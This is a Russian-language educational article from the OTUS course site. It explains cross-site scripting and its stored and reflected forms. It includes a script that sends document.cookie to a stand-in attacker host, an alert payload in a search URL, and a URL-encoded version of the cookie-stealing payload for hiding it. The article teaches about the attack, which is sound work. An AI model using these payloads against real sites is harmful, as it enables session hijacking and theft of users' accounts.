Атака на клиентов: Cross-site Scripting | OTUS
⚡ Подписка на курсы OTUS!
Интенсивная прокачка навыков для IT-специалистов!
Подробнее

Курсы

Программирование
iOS Developer. Professional Kotlin Backend Developer Flutter Mobile Developer Symfony Framework C++ Developer. Basic Unity Game Developer. Basic Java Developer. Professional
-35%
Highload Architect Unity Game Developer. Professional React.js Developer Специализация Java-разработчик
-25%
Алгоритмы и структуры данных
-16%
Scala-разработчик C# Developer. Professional
-23%
Разработчик голосовых ассистентов и чат-ботов Team Lead Архитектура и шаблоны проектирования NoSQL Web-разработчик на Python Golang Developer. Professional PostgreSQL Vue.js разработчик Супер-практикум по использованию и настройке GIT Разработчик IoT Подготовка к сертификации Oracle Java Programmer (OCAJP) Программист С HTML/CSS
Инфраструктура
Инфраструктурная платформа на основе Kubernetes Microservice Architecture Базы данных Highload Architect Reverse-Engineering. Professional
-8%
Network engineer. Basic Administrator Linux.Basic MongoDB Infrastructure as a code MS SQL Server Developer Cloud Solution Architecture Мониторинг и логирование: Zabbix, Prometheus, ELK Супер-практикум по использованию и настройке GIT Разработчик IoT Экcпресс-курс «ELK» Супер-интенсив "Tarantool" Экспресс-курс «CI/CD или Непрерывная поставка с Docker и Kubernetes» Экспресс-курс «Введение в непрерывную поставку на базе Docker»
Корпоративные курсы
Безопасность веб-приложений Экосистема Hadoop, Spark, Hive Пентест. Практика тестирования на проникновение Node.js Developer Java QA Engineer. Basic
-18%
Reverse-Engineering. Professional
-8%
DevOps практики и инструменты NoSQL Reverse-Engineering. Basic Cloud Solution Architecture Внедрение и работа в DevSecOps Супер-практикум по работе с протоколом BGP Game QA Engineer Супер - интенсив по Kubernetes Дизайн сетей ЦОД Экспресс-курс «IaC Ansible» Экспресс-курс по управлению миграциями (DBVC) Экспресс-курс "Версионирование и командная работа с помощью Git" Основы Windows Server
Специализации Курсы в разработке Подготовительные курсы Подписка
+7 499 938-92-02

Атака на клиентов: Cross-site Scripting

Уязвимость Cross-site Scripting относят к межсайтовому выполнению сценариев. При данной атаке злоумышленник передаёт серверу исполняемый код, который перенаправляется веб-браузеру пользователя. Как правило, вредоносный код создаётся на HTML/JavaScript, однако могут использоваться и другие технологии, поддерживаемые браузером: VBScript, Java, ActiveX, Flash и т. д.

Переданный таким образом код исполняется в зоне безопасности уязвимого сервера. Благодаря таким привилегиям, код может читать, передавать либо даже модифицировать конфиденциальные данные, доступные посредством браузера.

Например, атакованный пользователь может столкнуться с компрометацией аккаунта и кражей cookie-файлов. Также возможно перенаправление браузера пользователя на другой сервер либо осуществление подмены содержимого сервера. По итогу такой атаки хакер сможет использовать для просмотра сайта браузер жертвы и от имени жертвы. Код может передаваться хакером в URL, в HTTP-заголовках запроса (user-agent, cookie, refferer), в значениях полей форм и т. п.

Виды Cross-site Scripting

Выделяют 2 вида атак, обеспечивающих межсайтовое выполнение сценариев: — постоянные (сохранённые) атаки; — непостоянные (отражённые) атаки.

Отличие в том, что во втором варианте передача кода веб-серверу и возврат его клиенту выполняется в рамках одного HTTP-запроса (в первом случае — в разных).

Чтобы реализовать непостоянную атаку, злоумышленнику нужно, чтобы ничего не подозревающий пользователь перешел по ссылке, сформированной хакером (ссылка передаётся по email, через соцсети, мессенджеры и т. д.). При загрузке сайта код, который внедрён в URL либо в заголовки запроса, передаётся клиенту с последующим выполнением в его браузере. Что касается сохранённой разновидности атаки, то она возникает, если код передается веб-серверу, сохраняясь на нём на определённое время. Наиболее популярные цели атак — форумы, чаты, электронная почта с Web-интерфейсом. В этом случае для атаки пользователю совсем не обязательно переходить по ссылке, а достаточно всего лишь посетить уязвимый веб-сайт.

Пример сохраненного варианта атаки

Есть сайт с доской объявлений. Зарегистрированный ранее пользователь идентифицируется по номеру сессии, который сохраняется в cookie. Когда злоумышленник оставляет сообщение, содержащее код на JavaScript, он получает доступ к конфиденциальному идентификатору сессии пользователя.

Посмотрим на образец кода для передачи cookie:

<SCRIPT>document.location= ' http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</SCRIPT>

Пример отражённого варианта атаки

Некоторые серверы предоставляют возможность поиска по содержимому. Обычно запрос здесь передаётся в URL и находится в результирующей странице. Допустим, при переходе по URL http://portal.example/search?q= «online courses» пользователь увидит страницу с результатом поиска и фразу: «По запросу online courses найдено 0 страниц». Если же в виде искомой фразы передать Javascript, код выполнится в веб-браузере пользователя.

Как это может выглядеть:

http://portal.example/search/?q=<script>alert ( «xss»)</script>

А чтобы сокрыть код сценария, может быть задействована кодировка URLEncode

http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E

Не пропустите новые полезные статьи!

Спасибо за подписку!

Мы отправили вам письмо для подтверждения вашего email.
С уважением, OTUS!

Автор
0 комментариев
Для комментирования необходимо авторизоваться